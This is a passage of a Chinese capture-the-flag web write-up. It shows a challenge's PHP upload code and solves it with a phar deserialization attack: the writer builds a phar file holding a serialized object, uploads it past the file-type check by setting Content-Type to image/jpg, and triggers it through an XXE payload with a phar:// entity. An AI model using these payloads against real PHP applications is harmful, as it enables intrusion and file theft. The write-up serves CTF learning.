name="data">(3)讀取config.php文件內容
//config.php <?php class File{public $filetype;public $filename;public function __wakeup(){echo "wake up ";var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));}public function check($filetype,$filename){$filename = $filename;$filetype = $filetype;if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {echo "只允許上傳jpg格式文件";exit();}}public function upload($filetemp){$target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";$handle = fopen($filetemp, "r");$content = '';while(!feof($handle)){$content .= fread($handle, 8080);} if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){echo "Invalid file!!!!"; exit(); }fclose($handle);if (move_uploaded_file($filetemp, $target_file)) {echo "your file is here:".$target_file;}}}(4)讀取upload.php文件內容
//upload.php <!DOCTYPE html> <html> <head><title>Ayrain</title> </head> <body> <h3>上傳一個文件,讓我康康你這是什么亂七八糟的東西。</h3> <form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}"><input type="file" name="file" /><input type="submit" name="Check" /> </form></body> </html> <?php error_reporting(0); include("config.php");$filename = $_FILES["file"]["name"];$filetype = $_FILES["file"]["type"];$filetemp = $_FILES["file"]["tmp_name"];$file = new File();$file->check($filetype,$filename);$file->upload($filetemp); ?>?2、通讀源碼發現獲得flag的點在config.php的File類的wake_up構造方法里,利用上傳點,上傳可以觸發wake_up的phar文件,結合之前的xxe,讀取phar文件進行觸發。
生成phar文件,把下面代碼保存到自己的服務器下面,直接訪問會報錯,需要先將php.ini的phar.readonly選項改為Off,還有把前面的分號注釋符去掉,重啟服務器,然后訪問,會發現在當前目錄生成了一個phar.phar的文件
<?php class File{ public function __wakeup(){ echo "wake up "; } } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new File(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>訪問upload.php,上傳生成的phar.phar文件,這里似乎只要將Content-Type改為image/jpg就行了,第二個條件似乎沒有生效
xxe觸發反序列化:
?
<?xml version = "1.0"?> <!DOCTYPE note [<!ENTITY hacker SYSTEM "phar://./uploads/你上傳的文件名"> ]> <name>&hacker;</name>總結
以上是生活随笔為你收集整理的Syclover-Web题解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 二叉搜索树(城市数据库)
- 下一篇: C# Wpf Binding 使用详解